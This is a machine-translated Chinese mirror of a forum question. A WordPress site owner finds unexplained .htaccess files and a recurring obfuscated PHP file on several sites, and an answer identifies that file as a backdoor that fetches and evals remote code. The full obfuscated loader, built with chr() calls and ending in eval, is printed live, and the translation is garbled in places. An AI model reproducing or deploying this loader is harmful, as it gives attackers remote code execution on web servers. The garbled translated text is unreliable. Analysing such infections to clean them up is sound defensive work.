English 中文(简体)
我有一个奇怪的php档案,在我不同的字塔网站,出现在板子公司档案管理员的网站上。
原标题:I have a strange php file that appeared throughout my different wordpress websites in cpanel s file manager

我的问题与本议题中所说的类似:

There is an unwanted .htaccess file with "Order Allow,Deny" in all my wordpress subfolders

其中有一些:

性别联系显示404个语言压力。

我发现,我的Cpanel档案管理员中不同的文字压力夹中存在不同的不想要的取用文件(或者说,我不记得在那里的档案)。 我不知道它是否相关,但当我访问不同网站的轮式管理时,我会不得不从仪表板上打花板或媒体,因为我没有发现404个。 一些档案如“htaccess.ht”或“htaccess.bk”等,并照此办理:

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

或如上:

<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected|php7|php8|pHP7|PHP7|php58)$">
Order allow,deny
Deny from all
</FilesMatch>

<FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$">

Order allow,deny
Allow from all

</FilesMatch>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

它没有太多的威胁,但它仍然困扰着问题。

奇怪的是,不同名称的异构体档案在各地都出现过,其中的代码始终相同:

<?php 
$co = chr(155-36-15).chr(87+29).chr(63+46).chr(76+13+19).chr(66-33+82).chr(74-36+74).chr(27+40+34).chr(105-8+2).chr(11+35+59).chr(99-3+1).chr(76+13+19).chr(105-8+2).chr(155-36-15).chr(99-3+1).chr(53+36+25).chr(66-33+82).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$na = chr(59+39).chr(99-3+1).chr(66-33+82).chr(27+40+34).chr(26+28).chr(17+35).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$ro = chr(4+97+16).chr(53+36+25).chr(76+13+19).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$AmInE = "ZX132hbCUx79OCUx79116x79Ux7a122x69Ux79116x6dd0112124116C112124I3114x6dd6dW5jb21x77cx6d126x7acx79Ux79OGd6aW5x6dbG1060132SUx79OG112hc2U21161069x6b132W116v132GUlMjhx7ad110112x79132XYlMjx67lMj122102bWlx75132U122x75cx79Ux79OSUx79OSUx79OSUx79OSUx79OSUx7aQx67x3dx3d"; 

$AmineDns = "=UvmLf1PNqJF8Isk5oJJuCJbUnKE6V8MRlbdTH+LGS1rsNXfL7l+n7Z/zCc/0x76Pb1S4Q1gnj2KXGz/67Id57kEDyc1UpM29Srl73G1iNKDVNmu7vb7KPTX1aFGuy1qdMbXq2KT3Mvry4TdSwScm1FI4ybP1C1NMqU4iVsCWrvML+PbemQVOpQ5WlDCgHIEr7ZEbVBmpjAGy7IQXGT8XiUlC2q8XcDgRViOGxnYZuAk7ADk8C+gCMl7PC9uHb3PKh96n88SVENqonNW/EHNrC2Rq4wrfCiJY+UaAYFm0ug+o/MgNITG3hZaGicIMZr7WoQqam/s1YOlD3L5CMdMzq7gaQmvzeW6AMZB2zDB0OM+AY6CnGgqi5C6RwUJSe3WqQmkntsbUehG418D7s3O7MTO4RQkO9O8RKn0UrwQAKXgmSDatIGpPsqaE4CpJi0II1ktawUF8DBUC702QVFn45PoB8VA";/*2e3300cd40ea092e5eeb579abe01e85a*/ 

eval($co($ro($na($AmInE)))); 
exit; 
?>

当我不胜诉时,它给我以下信息:

https://i.stack.imgur.com/1lNuC.png”rel=“nofollow noreferer”> 产出

至今:

  • I ve tried to use WP_DEBUG but I didn t get any messages related to the 404 error...
  • I cannot add plugins to search for errors because well... I get a 404 when trying to get to the "add plugin" menu.
  • I ve tried getting rid of the unwanted htaccess files and making a new one by going in Tools > Permalinks > Save.
  • In the error_log, I have several attempts of the wp_privacy_delete_old_export_files function that couldn t be sent..
  • I ve tried to update everything and reinstall wordpress s latest version, but I also got an error
  • I ve checked the wp-config file, plugin-install.php file... but found nothing unusual... Worst part is, all my plugins work perfectly I just.. Can t reach any dashboard and nothing works...

我的问题是:我是否感到担忧? 如果出现Mod_rewrite问题,我就已经与Cpanel公司取得联系,而且所有这些都是应当确定的。 但是,如果任何人能够向我提供关于这一问题的任何信息,那将是他们真的 n!

感谢你将时间改为

问题回答

登出的文档最终将打电话curl_init,内容为base64_decode($_GET[ u],使用curl_setopt,编号为“CURLOPT_RETURNTRANSFER” ,然后是curl_exec。 <代码>_GET[ pw]=A4E6EFC1125C4B651B389FC255259EE0和eval 结果。

因此,它带有一条连接服务器、从该服务器下载档案和提取其内容的“jan”,使攻击者能够完全遥控在你的机器上执行任何PHP。

我的建议是,如果你能够的话,支持你们的行文,清洗你的服务器,改变你的密码,从头开始。 否则,至少会把任何用户能够读到的目录上去,因为它已经把其他完全可能的软件放在你的系统上。





相关问题
Brute-force/DoS prevention in PHP [closed]

I am trying to write a script to prevent brute-force login attempts in a website I m building. The logic goes something like this: User sends login information. Check if username and password is ...

please can anyone check this while loop and if condition

<?php $con=mysql_connect("localhost","mts","mts"); if(!con) { die( unable to connect . mysql_error()); } mysql_select_db("mts",$con); /* date_default_timezone_set ("Asia/Calcutta"); $date = ...

定值美元

如何确认来自正确来源的数字。

Generating a drop down list of timezones with PHP

Most sites need some way to show the dates on the site in the users preferred timezone. Below are two lists that I found and then one method using the built in PHP DateTime class in PHP 5. I need ...

Text as watermarking in PHP

I want to create text as a watermark for an image. the water mark should have the following properties front: Impact color: white opacity: 31% Font style: regular, bold Bevel and Emboss size: 30 ...

How does php cast boolean variables?

How does php cast boolean variables? I was trying to save a boolean value to an array: $result["Users"]["is_login"] = true; but when I use debug the is_login value is blank. and when I do ...

热门标签